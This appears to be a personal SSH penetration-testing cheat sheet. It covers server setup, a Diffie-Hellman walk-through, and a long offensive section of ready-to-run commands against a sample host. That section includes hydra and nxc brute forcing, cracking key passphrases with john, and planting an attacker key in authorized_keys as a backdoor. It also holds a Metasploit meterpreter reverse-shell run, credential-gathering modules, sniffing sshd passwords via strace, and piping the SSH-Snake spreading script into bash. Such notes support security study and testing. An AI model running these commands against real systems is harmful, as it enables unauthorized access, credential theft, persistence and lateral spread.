Resources
- Technology
- By ByteWaveNetwork : https://medium.com/@ByteWaveNetwork/a-deep-dive-into-how-ssh-works-step-by-step-guide-c5e10e4e0edc
- By linuxize : https://linuxize.com/post/ssh-folder-files-and-permissions/
- Diffie Hellman : https://www.geeksforgeeks.org/computer-networks/diffie-hellman-key-exchange-and-perfect-forward-secrecy/
- Offensive
- By hackingarticles : https://www.hackingarticles.in/ssh-penetration-testing-port-22/
- By DougRickert : https://medium.com/@dmrickert/what-ssh-hacking-attempts-look-like-8f698e70a4f5
CheatSheet
- thehacker.recipes : https://www.thehacker.recipes/infra/protocols/ssh
- mintlify : https://mintlify.wiki/HackTricks-wiki/hacktricks/network-services-pentesting/pentesting-ssh
- Emanuel Duss :
Commands
- Setup
- Linux
- Password
apt install ssh nano /etc/ssh/sshd_config Port 22 PermitRootLogin yes PasswordAuthentication yes PermitTTY yes sshd -t systemctl enable ssh systemctl start ssh - Keys
- From Client to server
# The machine initiating the connection holds the Private Key. The machine receiving the connection holds the Public Key. ssh-keygen -t ed25519 # Client Side ssh-copy-id [email protected] # Client Side ssh [email protected] # No passwrod prompt- Authorized Keys
ssh-keygen -t ed25519 # Client Side cat ~/.ssh/id_ed25519.pub # Client Side nano ~/.ssh/authorized_keys # On the server
- Authorized Keys
- From Server to client
sudo aduser fady sudo su - fady ssh-keygen -t ed25519 cd ~/.ssh cat id_ed25519.pub >> authorized_keys chmod 600 authorized_keys cat id_ed25519 # Private key will pass to the client chmod 600 ~/.ssh/server_key # With text from id_ed25519 ssh -i ~/.ssh/server_key [email protected]
- From Client to server
- Password
- Windows
# Manuall < The Add-WindowsCapability Doesn't work most of times > Invoke-WebRequest -Uri "https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64.zip" -OutFile "$env:TEMP\OpenSSH.zip" -UseBasicParsing; Expand-Archive -Path "$env:TEMP\OpenSSH.zip" -DestinationPath "$env:ProgramFiles\" -Force; powershell.exe -ExecutionPolicy Bypass -File "$env:ProgramFiles\OpenSSH-Win64\install-sshd.ps1"; Set-Service sshd -StartupType Automatic; Start-Service sshd; New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
- Linux
- Recon
- General
nmap -sV 192.168.1.109 -p 22 masscan 192.168.1.109 -p22 nc 192.168.1.109 22 - Auth Methods
nmap --script ssh-auth-methods --script-args="ssh.user=root" -p 22 192.168.1.109 - Searching
find / -name "id_*" -o -name "*.pem" 2>/dev/null cat ~/.ssh/id_rsa cat ~/.ssh/authorized_keys - Configs
sshd -V sudo sshd -G
- General
- Exploitation
- Bruteforce
- Username & Password
hydra -L users.txt -P passwrods.txt 192.168.1.109 ssh nxc ssh 192.168.1.109 -u users.txt -p passwords.txt- Keys
ssh2john id_rsa > sshhash john -w=/usr/share/wordlists/rockyou.txt sshhash- Fake Key
echo "ssh-ed25519 AAAAC3... attacker@evil" >> ~/.ssh/authorized_keys
- Fake Key
- RCE
nxc ssh 192.168.1.109 -u root -p 12345678 -x whoami ssh [email protected] 'ifconfig' sshpass -p 'Fady@Fady@123' ssh [email protected]- Msf
use exploit/multi/ssh/sshexec set rhosts 192.168.1.109 set username root set password 12345678 set target 2 set payload linux/x64/meterpreter/reverse_tcp run
- Msf
- Download & Upload
- nxc
nxc ssh 192.168.1.109 -u root -p 12345678 --put-file id_rsa /tmp/id_rsa nxc ssh 192.168.1.109 -u root -p 12345678 --get-file /tmp/id_rsa id_rsa - Scp
scp id_rsa [email protected]:/tmp/
- nxc
- Bruteforce
- Post Exploitation
- Msf
use post/multi/gather/ssh_creds set session 1 run - Sniffing
sudo strace -p "$(pgrep -f /usr/sbin/sshd)" -f -e trace=write - Tools
- ssh-snake
curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh | bash
- ssh-snake
- Msf
Tools
- SSH-snake : https://github.com/MegaManSec/SSH-Snake
- 3snake : https://github.com/blendin/3snake
- impost3r : https://github.com/ph4ntonn/Impost3r
Notes
Diffie-Hellman Key Exchange
Diffie-Hellman allows two computers to generate a shared secret over a public, insecure network by using one-way modular arithmetic (clock math).
sequenceDiagram participant C as Client (Secret x = 4) participant S as Server (Secret y = 6) Note over C,S: Step 1: Public Agreement Note over C,S: Public Base (g) = 3 | Prime Limit (p) = 17 Note over C,S: Step 2: The First Mix (g^Secret mod p) C->>C: 3^4 mod 17 = 13 S->>S: 3^6 mod 17 = 15 Note over C,S: Step 3: The Public Exchange C->>S: Sends Mixed Value [13] S->>C: Sends Mixed Value [15] Note over C,S: Step 4: The Final Mix (Received^Secret mod p) C->>C: 15^4 mod 17 = 16 S->>S: 13^6 mod 17 = 16 Note over C,S: Match! Both sides now share the secret key: 16
